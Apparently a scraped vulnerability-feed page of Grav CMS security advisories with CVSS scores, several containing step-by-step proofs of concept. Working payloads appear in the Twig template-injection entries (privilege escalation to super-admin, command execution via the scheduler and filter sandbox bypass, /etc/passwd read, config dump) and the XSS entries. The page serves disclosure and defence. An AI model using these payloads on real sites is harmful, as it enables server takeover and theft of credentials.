-Infinity
0
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Grav Login plugin before 3.11.0 contains an authentication bypass vulnerability that allows attackers with an account password to skip two-factor verification when the global twofaenabled setting is off. Attackers can sign in through the /login form, remember-me cookie, or magic link to obtain a session the API plugin accepts, gaining full account permissions including super-admin control.

First published (updated )
Severity
7.1
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L

Grav Lightbox Gallery plugin 1.1.0 before 1.3.2 on Grav 2.x calls any medium method named in image, thumb or thumboptions shortcode values without core's allowed media action check. A page editor can chain addMetaFile with value, toYaml or toJson to read server-readable YAML files, such as account password hashes, 2FA secrets and API keys, into a publicly viewable page.

First published (updated )
Severity
7.1
Infoleak
AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Grav Lightbox Gallery plugin 1.1.0 before 1.3.2 on Grav 2.x calls any medium method named in image, thumb or thumboptions shortcode values without core's allowed media action check. A page editor can chain addMetaFile with value, toYaml or toJson to read server-readable YAML files, such as account password hashes, 2FA secrets and API keys, into a publicly viewable page.

First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Grav API Plugin versions before 1.0.10 fail to validate the groups field in InvitationsController::create(), allowing authenticated api.users.write callers to assign invited accounts to groups that grant api.super permissions. Attackers can create invitation records with elevated group membership, and when accepted, the new account gains full super-admin API access without the inviter holding those permissions.

First published (updated )
Severity
7.4
AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A user with admin panel access and permissions to create or edit pages in Grav CMS can enable Twig processing in the page frontmatter. By injecting malicious Twig expressions, the user can escalate their privileges to admin or execute arbitrary system commands via the scheduler API. This results in both Privilege Escalation (PE) and Remote Code Execution (RCE) vulnerabilities.

Details Grav CMS allows Twig to be executed in page templates if enabled in admin panel (process: twig: true). A user with publisher/editor privileges, that can create or edit pages and enable twig processing, can thereby inject arbitrary code that will execute in the context of the page render.

This enables exploitation of Grav internal APIs such as: - grav.user.update() and grav.user.save() for escalating the current user to super admin or admin - grav.scheduler.addCommand(), grav.scheduler.save() and grav.scheduler.run() for code execution

The Twig sandbox is not enforced in this context, allowing full access to any backend PHP object and method in the system/src/Grav/Common directory.

PoC Preconditions: - You must have access to a non-admin user with permission to create/edit pages (admin.pages access) - For Privilege Escalation, you also have to be logged in to the site with the same user as the admin panel.

Steps to reproduce Privilege Escalation: 1. Login into the non-admin page (default at cms-url/login). 2. Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true). 3. Inject the following payload into the page content to escalate privileges: {% set = grav.user.update({ 'access': { 'admin': { 'login': true, 'super': true } } }, {}) %} {% set = grav.user.save() %} 4. Visit the edited/created page url. The logged in user is now admin. (Note: For the changes to show, you need to log out of the admin panel and relogin).

Steps to reproduce Remote Code Execution: 1. Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true). 2. Inject the following payload into the page content to execute commands: {% set = grav.scheduler.addCommand('curl', ['http://localhost:8000']) %} {% set = grav.scheduler.save() %} {% set = grav.scheduler.run() %} 3. Visit the page to trigger the execution. The system will issue a curl request.

Impact This vulnerability allows: - Privilege Escalation from any user with page editing capabilities to full admin (super) access. - Remote Code Execution, as the attacker can run system arbitrary commands via the scheduler API.

It affects any Grav CMS installation where users with lower privileges are allowed to create or edit pages and Twig processing is not globally disabled.

1 / 3
Source: GitHub
First published (updated )
Severity
7.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Having a simple form on site can reveal the whole Grav configuration details (including plugin configuration details) by using the correct POST payload. Sensitive information may be contained in the configuration details.

PoC Create a simple form with two fields, 'registration-number' and 'hp'. Add a submit button and set the method to POST(screenshot attached below). Form name set to 'hero-form'. Send a POST request with the following payload and you will notice a response with a php array listing the whole Grav configuration details - including plugins(screenshot attached).

registration-number:d643aaaa

hp:vJyifp

form-name:hero-form

uniqueformid:{{vardump(context|slice(0,7))}}

!Screenshot 2025-03-25 at 7 26 02 AM

!Screenshot 2025-03-25 at 7 22 58 AM

Impact Server-Side Template (SST) vulnerability. The vulnerability affects the latest Grav version as of 25th of Match 2025 (1.7.48) with all plugins installed (including forms plugin v.7.4.2) to their latest versions as well.

1 / 3
Source: GitHub
First published (updated )
Severity
8.7
Code Injection
AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the cleanDangerousTwig method.

Important - First of all this vulnerability is due to weak sanitization in the method clearDangerousTwig, so any other class that calls it indirectly through for example $twig->processString to sanitize code is also vulnerable.

- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.

- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.

Permissions Needed - The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form. - Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through evaluatetwig, a guest can takeover the system.

Details When we make a form with a process section and a message action, when the form is submitted we get to deal with onFormProcess in form.php through the message case:

php case 'message': $translatedstring = $this->grav['language']->translate($params); $vars = array( 'form' => $form );

/ @var Twig $twig / $twig = $this->grav['twig']; $processedstring = $twig->processString($translatedstring, $vars);

$form->message = $processedstring; break;

Which takes our parameters as in our action values, like in our case the value of our message action and sends it to processString which then calls the method cleanDangerousTwig from Security.php, now here's where we find the vulnerability is caused by two things:

- First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization - Second issue which is the evaluate and evaluatetwig functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.

php public static function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }

$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; // This allows for a payload like {{ evaluate("readfile('/etc/passwd')") }} $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string); return $string; }

PoC

First to showcase how the function handles the payload, I built a small php program that replicates the behavior of cleanDangerousTwig:

php <?php

function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }

$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);

return $string; }

$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");

We can run the program with this payload:

bash php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"

Our payload goes through and not one malicious function is filtered:

evaluatetwig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')

Now we know that our payload definitely works so let's try it through a custom form this time, as an editor:

- Go to pages - Add a page and create a new form or choose an exiting one

We will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to it's report ), so when we go to our form and save it, we can intercept the request and inject the following payload into data[json][header][form] which is the header for our form which we shouldn't normally be able to modify:

{"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[]}

URL-encode it before sending it should look something like this:

!image

!image

Request sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:

!image

Content of form:

title: Home process: markdown: true twig: true form: name: test fields: name: type: text label: Name required: true buttons: submit: type: submit value: submit process: - message: '{{ evaluatetwig(form.value(''name'')) }}'

Now in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command id on the system:

{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('id') }}

Now we can visit the page and input our payload, submit and we got command result:

!image

Impact

Allows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.

Recommended Fix

- Blacklist both the evaluate and evaluatetwig functions. - We could add second check to cleanDangerousTwig where we would look for each malicious function no matter it's position:

php <?php

function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }

$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);

foreach ($badtwig as $func) { $string = pregreplace('/\b' . pregquote($func, '/') . '(\s\([^)]\))?\b/i', '{# $1 #}', $string); }

return $string; }

$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");

When we run this, the result is: evaluatetwig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}') You can see we managed to stop the payload and filter out the malicious functions.

1 / 3
Source: GitHub
First published (updated )
Severity
8.8
Code Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.

Details

Grav CMS uses a custom sandbox to protect the powerful Twig methods such as registerUndefinedFilterCallback(). These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., exec(), passthru(), system(), etc.) within Twig template directives.

The current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the isDangerousFunction() method in the file system/src/Grav/Common/Twig.php:

php $this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safefilters'); if (isarray($allowed) && inarray($name, $allowed, true) && functionexists($name)) { return new TwigFilter($name, $name); } if ($config->get('system.twig.undefinedfilters')) { if (functionexists($name)) { if (!Utils::isDangerousFunction($name)) { usererror("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: system.twig.safefilters", EUSERDEPRECATED);

return new TwigFilter($name, $name); }

/ @var Debugger $debugger / $debugger = $this->grav['debugger']; $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: system.twig.safefilters")); }

return new TwigFilter($name, static function () {}); }

return false; });

In this code, the isDangerousFunction() check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the system.twig.safefilters configuration properties (whitelists that are empty by default) in the system/config/system.yaml file.

Notably, the Twig class is defined within the system/src/Grav/Common/Twig.php file, and the Twig object (and environment) is instantiated there:

php / Class Twig @package Grav\Common\Twig / class Twig { / @var Environment / public $twig; / @var array / public $twigvars = []; / @var array / public $twigpaths; / @var string / public $template;

// Constructor public function construct(Grav $grav) { $this->grav = $grav; $this->twigpaths = []; }

// Twig initialization method public function init() { if (null === $this->twig) { / @var Config $config / $config = $this->grav['config']; / @var UniformResourceLocator $locator / $locator = $this->grav['locator']; / @var Language $language / $language = $this->grav['language'];

$activelanguage = $language->getActive(); ... } } }

Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute system.twig.safefilters, effectively bypassing the Grav CMS sandbox.

Proof of Concept (PoC) An authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.

For example, to exploit the vulnerability and execute the prohibited system('id') command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:

twig {% set arr = {'1':'system', '2':'exec'} %} {{ vardump(grav.twig.twigvars['config'].set('system.twig.safefilters', arr)) }} {{ 'id'|system }} {{ 'whoami'|exec }}

Once the page is saved, it can be accessed by unauthenticated users, triggering the execution of the system('id') command on the server hosting the vulnerable Grav CMS.

Impact The vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.

1 / 3
Source: GitHub
First published (updated )
Severity
6.2
XSS
AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/pages/[page] endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[header][metadata], data[header][taxonomy][category], and data[header][taxonomy][tag] parameters. These scripts are stored in the page frontmatter and executed automatically whenever the affected page is accessed or rendered in the administrative interface.

---

Details

Vulnerable Endpoint: POST /admin/pages/[page] Parameters:

- data[header][metadata] - data[header][taxonomy][category] - data[header][taxonomy][tag]

The application fails to properly sanitize user input when saving page metadata or taxonomy fields via the Admin Panel. As a result, an attacker with access to the admin interface can inject a malicious script using these parameters, and the script will be stored in the page's YAML frontmatter. When the page or metadata is rendered (especially in the Admin Panel), the payload is executed in the browser of any user with access.

---

PoC

Payload:

<script>alert('PoC-XXS51')</script>

Steps to Reproduce:

1. Log into the Grav Admin Panel and navigate to Pages. 2. Create or edit a page. 3. Inject the payload above into any of the following fields in the Options tab: - Metadata key name - Category under Taxonomy - Tag under Taxonomy !image

!image

4. Save the page. !image

When the page is loaded again in the Admin Panel or potentially on the frontend (depending on how the metadata is used), the script is executed, confirming the Stored XSS vulnerability.

---

Impact

Stored XSS vulnerabilities can result in serious consequences, including:

- Session hijacking: Attackers can steal authentication cookies or tokens - Malware delivery: Injected scripts can download malicious software - Credential theft: Fake input fields can capture usernames and passwords - Sensitive data exposure: Access to internal metadata and browser data - Administrative access compromise: Especially dangerous in admin-facing interfaces - Phishing attacks: Users can be redirected to external malicious sites - Reputation damage: Executing arbitrary scripts in trusted systems undermines credibility

by CVE-Hunters

1 / 3
Source: GitHub
First published (updated )
Severity
6.2
XSS
AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A Reflected Cross-Site Scripting (XSS) vulnerability was identified in the /admin/pages/[page] endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[header][content][items] parameter.

---

Details

Vulnerable Endpoint: GET /admin/pages/[page] Parameter: data[header][content][items]

The application fails to properly validate and sanitize user input in the data[header][content][items] parameter. As a result, attackers can craft a malicious URL with an XSS payload. When this URL is accessed, the injected script is reflected back in the HTTP response and executed within the context of the victim's browser session.

---

PoC

Payload:

"><ImG sRc=x OnErRoR=alert('XSS-PoC3')>

1. Log in to the Grav Admin Panel and navigate to Pages. 2. Create a new page or edit an existing one. 3. In the Advanced > Blog Config > Items field (which maps to data[header][content][items]), insert the payload above.

!image

4. Save the page. 5. The malicious payload is reflected and rendered by the application without proper sanitization. The JavaScript code is immediately executed in the browser.

!image

---

Impact

Reflected cross-site scripting (XSS) attacks can have serious consequences, including:

- User actions: Attackers can perform actions on behalf of the user - Data theft: Sensitive information such as session cookies can be stolen - Account compromise: Attackers may impersonate legitimate users - Malicious code execution: Arbitrary JavaScript code can run in the user’s browser - Website defacement or misinformation: Malicious output may be injected visually - User redirection: Victims may be redirected to phishing or malicious websites

by CVE-Hunters

1 / 3
Source: GitHub
First published (updated )
Severity
6.2
XSS
AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/accounts/groups/Grupo endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[readableName] parameter. The injected scripts are stored on the server and executed automatically whenever the affected page is accessed by users, posing a significant security risk.

---

Details

Vulnerable Endpoint: POST /admin/accounts/groups/Grupo Parameter: data[readableName]

The application fails to properly validate and sanitize user input in the data[readableName] parameter. This lack of input handling allows attackers to inject arbitrary script content that is stored in the application and executed in the browser of any user who views the affected group configuration.

---

PoC

Payload:

<ScRipT>alert('PoC-XSS')</ScRipT>

1. Navigate to Accounts > Groups in the administrative panel. 2. Create a new group or edit an existing one. 3. In the Display Name field (data[readableName]), insert the payload above and save the changes.

!image

The following HTTP request was generated during this action: !image

4. Next, go to Accounts > Users and open any user profile.

!image

5. The malicious script is executed immediately in the browser when the page loads, confirming the existence of a Stored XSS vulnerability.

!image

---

Impact

Stored XSS vulnerabilities can result in serious consequences, including:

- Session hijacking: Attackers can steal authentication cookies or tokens - Malware delivery: Inserting scripts that download malicious content - Credential theft: Capturing usernames and passwords through injected forms - Sensitive data exposure: Accessing data stored in the browser or the application - Browser takeover: Executing arbitrary commands in the user’s session - Phishing attacks: Redirecting users to fake login or malicious sites - Website defacement: Altering page content shown to users - Reputational damage: Undermining trust in the platform or organization

by CVE-Hunters

1 / 3
Source: GitHub
First published (updated )
Severity
6.8
XSS
AV:N/AC:L/AT:P/PR:H/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/config/site endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[taxonomies] parameter. The injected payload is stored on the server and automatically executed in the browser of any user who accesses the affected site configuration, resulting in a persistent attack vector.

---

Details

Vulnerable Endpoint: POST /admin/config/site Parameter: data[taxonomies]

The application does not properly validate or sanitize input in the data[taxonomies] field. As a result, an attacker can inject JavaScript code, which is stored in the site configuration and later rendered in the administrative interface or site output, causing automatic execution in the user's browser.

---

PoC

Payload:

"><script>alert('XSS-PoC')</script>

Steps to Reproduce:

1. Log in to the Grav Admin Panel with sufficient permissions to modify site configuration. 2. Navigate to Configuration > Site. 3. In the Taxonomies Types field (which maps to data[taxonomies]), insert the payload above: "><script>alert('XSS-PoC')</script> 4. Save the configuration.

<img width="1897" height="628" alt="Pasted image 20250718195942" src="https://github.com/user-attachments/assets/2035fcaa-34fc-494c-a7ca-7c1e1f34b057" /> 5. Go on Pages and click on one of them

<img width="932" height="587" alt="Pasted image 20250718200306" src="https://github.com/user-attachments/assets/3c1995ba-2581-4e27-ae9d-a17e2eeb5b57" /> 6. The stored payload is executed immediately in the browser, confirming the Stored XSS vulnerability.

<img width="1204" height="377" alt="Pasted image 20250718200353" src="https://github.com/user-attachments/assets/ad8ea7ea-603f-4b84-aa5a-120de0cb56ce" /> 7. The HTTP request submitted during this process contains the vulnerable parameter and payload: <img width="757" height="675" alt="Pasted image 20250718200445" src="https://github.com/user-attachments/assets/fbbe2b76-00eb-4426-8ddd-5cde2cc65d77" />

---

Impact

Stored XSS attacks can lead to severe consequences, including:

- Session hijacking: Stealing cookies or authentication tokens to impersonate users - Credential theft: Harvesting usernames and passwords using malicious scripts - Malware delivery: Distributing unwanted or harmful code to victims - Privilege escalation: Compromising administrative users through persistent scripts - Data manipulation or defacement: Changing or disrupting site content - Reputation damage: Eroding trust among site users and administrators

---

Discoverer

Marcelo Queiroz

by CVE-Hunters

1 / 3
Source: GitHub
First published (updated )
Severity
6.2
XSS
AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/pages/[page] endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[header][template] parameter. The script is saved within the page's frontmatter and executed automatically whenever the affected content is rendered in the administrative interface or frontend view.

---

Details

Vulnerable Endpoint: POST /admin/pages/[page] Parameter: data[header][template]

The application fails to properly sanitize user input in the data[header][template] field, which is stored in the YAML frontmatter of the page. An attacker can inject JavaScript code using this field, and the payload is rendered and executed when the page is accessed, especially within the Admin Panel interface.

---

PoC

Payload:

<script>alert('PoC-XXS73')</script>

Steps to Reproduce:

1. Log in to the Grav Admin Panel and navigate to Pages. 2. Create a new page or edit an existing one. 3. In the Advanced > Template field (which maps to data[header][template]), insert the payload: !image

4. Save the page. 5. Return to the Pages section and click on the three-dot menu of the affected page: !image

6. The stored XSS payload is triggered, and the script is executed in the browser: !image ---

Impact

Stored XSS vulnerabilities can have serious consequences, including:

- Session hijacking: Capturing admin session cookies or tokens - Malware delivery: Executing scripts that load malicious resources - Credential theft: Creating fake login prompts to steal usernames/passwords - Data exposure: Reading sensitive metadata or page contents - Privilege escalation: Performing actions as an authenticated user - Website defacement: Altering visual or functional elements of the site - Reputation damage: Undermining user trust in the application

by CVE-Hunters

1 / 3
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Grav v1.7.49.5 / Admin v1.10.49.1 – User Enumeration & Email Disclosure

Summary A user enumeration and email disclosure vulnerability exists in Grav v1.7.49.5 with Admin plugin v1.10.49.1. The "Forgot Password" functionality at /admin/forgot leaks information about valid usernames and their associated email addresses through distinct server responses. This allows an attacker to enumerate users and disclose sensitive email addresses, which can be leveraged for targeted attacks such as password spraying, phishing, or social engineering.

Details

The issue resides in the taskForgot() function, which handles the forgot password workflow. Relevant vulnerable logic:

php if (null === $user || $user->state !== 'enabled' || !$to) { ... // Generic message for invalid/non-existing users $this->setMessage($this->translate('PLUGINADMIN.FORGOTINSTRUCTIONSSENTVIAEMAIL')); return $this->createRedirectResponse($current); }

if ($rateLimiter->isRateLimited($username)) { ... $interval = $config->get('plugins.login.maxpwresetsinterval', 2);

// Sensitive message for valid users $this->setMessage($this->translate('PLUGINLOGIN.FORGOTCANNOTRESETITISBLOCKED', $to, $interval), 'error');

return $this->createRedirectResponse($current); }

When an attacker submits the password reset form at /admin/forgot with an invalid username, the application responds with:

Instructions to reset your password have been sent to your email address

However, when a valid username is supplied, and the attacker repeatedly triggers password reset requests, the application responds with:

Cannot reset password for <USEREMAIL>, password reset functionality temporarily blocked, please try later (maximum 60 minutes)

This discrepancy in responses enables: 1. User Enumeration – Attackers can determine if a username exists in the system by analyzing the response. 2. User Email Disclosure – The system discloses the actual email address associated with the account (e.g., admin@localhost.test).

This violates best practices for authentication flows, where responses should remain generic to avoid leaking sensitive information.

PoC 1. Navigate to the Forgot Password page: https://<target>/admin/forgot 1. Submit a reset request with a random/invalid username (e.g., invaliduser):

- Response: Instructions to reset your password have been sent to your email address 3. Submit a reset request with a valid username (e.g., admin). 4. Repeatedly request a reset for the same username until the lockout mechanism triggers. - Response: Cannot reset password for admin@localhost.test, password reset functionality temporarily blocked, please try later (maximum 60 minutes) 5. Observe the leaked email address of the admin account in the error message.

Impact - Severity: Medium - Type: Information Disclosure / User Enumeration - Who is Impacted: All Grav sites using Admin plugin v1.10.49.1 with password reset enabled. - Risks: - Allows attackers to enumerate valid usernames. - Exposes email addresses of admin accounts, which can be used in: - Credential stuffing - Password spraying - Phishing/social engineering campaigns - Further exploitation in combination with other vulnerabilities

Recommendation

- Modify the taskForgot() logic to always return a generic, non-identifying message, regardless of whether the username exists or rate limits are hit.

- Example safe response: ini If the account exists, password reset instructions will be sent.

- Do not include email addresses ($to) or other sensitive data in error messages.

1 / 3
Source: GitHub
First published (updated )
Severity
6.9
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Grav CMS scheduler-webhook plugin contains an authentication bypass vulnerability that allows unauthenticated remote attackers to trigger configured scheduled jobs by exploiting a short-circuit logic flaw in the webhook token validation. Attackers can send a single unauthenticated POST request to the scheduler webhook endpoint to execute all configured scheduled jobs or target a specific job, causing unintended execution of operator-defined commands under the web server process user.

1 / 2
Source: MITRE
First published (updated )
Severity
6.9
AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Grav CMS's scheduler-webhook plugin contains an authentication bypass in the webhook token check. When the webhook feature is enabled but no webhookToken is configured, a compound conditional short-circuits and skips token validation, so an unauthenticated remote attacker who can reach POST /scheduler/webhook can trigger the operator's already-configured scheduled jobs by sending a single request. The primitive is triggering-existing-jobs, not attacker-chosen command execution: the attacker controls when the jobs run and which one runs (via ?job=), but does not control what the jobs do. Code execution follows only when the operator has configured a job that shells out, and even then the attacker controls timing rather than payload. Not a default-install issue: reaching the endpoint requires the separate scheduler-webhook GPM plugin to be installed, scheduler.modern.webhook.enabled to be true (default false), and no webhookToken to be configured; a stock Grav or Grav-Admin install exposes nothing here.

First published (updated )
Severity
6.9
AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Grav CMS's scheduler-webhook plugin contains an authentication bypass in the webhook token check. When the webhook feature is enabled but no webhookToken is configured, a compound conditional short-circuits and skips token validation, so an unauthenticated remote attacker who can reach POST /scheduler/webhook can trigger the operator's already-configured scheduled jobs by sending a single request. The primitive is triggering-existing-jobs, not attacker-chosen command execution: the attacker controls when the jobs run and which one runs (via ?job=), but does not control what the jobs do. Code execution follows only when the operator has configured a job that shells out, and even then the attacker controls timing rather than payload. Not a default-install issue: reaching the endpoint requires the separate scheduler-webhook GPM plugin to be installed, scheduler.modern.webhook.enabled to be true (default false), and no webhookToken to be configured; a stock Grav or Grav-Admin install exposes nothing here.

First published (updated )
Severity
7
AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Grav from 2.0.0 before 2.2.5 contains an improper access control vulnerability in FlexDirectory::dynamicFlexField() that allows page authors to call arbitrary Flex object methods via flex-@ directives in page frontmatter. When a user with page edit rights opens the page, directives calling setStorageKey() and delete() run in their session, deleting protected pages neither account may delete.

First published (updated )
Severity
7
AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Grav from 2.0.0 before 2.2.5 contains an improper access control vulnerability in FlexDirectory::dynamicFlexField() that allows page authors to call arbitrary Flex object methods via flex-@ directives in page frontmatter. When a user with page edit rights opens the page, directives calling setStorageKey() and delete() run in their session, deleting protected pages neither account may delete.

First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Grav CMS1.7.49.5 is vulnerable to Cross Site Scripting (XSS).

First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Grav CMS 1.7.49 is vulnerable to Cross Site Scripting (XSS). The page editor allows authenticated users to edit page content via a Markdown editor. The editor fails to properly sanitize <script> tags, allowing stored XSS payloads to execute when pages are viewed in the admin interface.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Grav from 1.7.53.3 before 1.7.53.6 contains an authorization bypass in Debugger::isDebuggerRequestAuthorized() that allows unauthenticated visitors to read /clockwork/ profiler data via a loopback REMOTEADDR fallback. Behind a same-host reverse proxy, remote requests appear as loopback, letting attackers read stored records including administrator plaintext passwords and configuration credentials.

First published (updated )
Severity
8.7
Infoleak
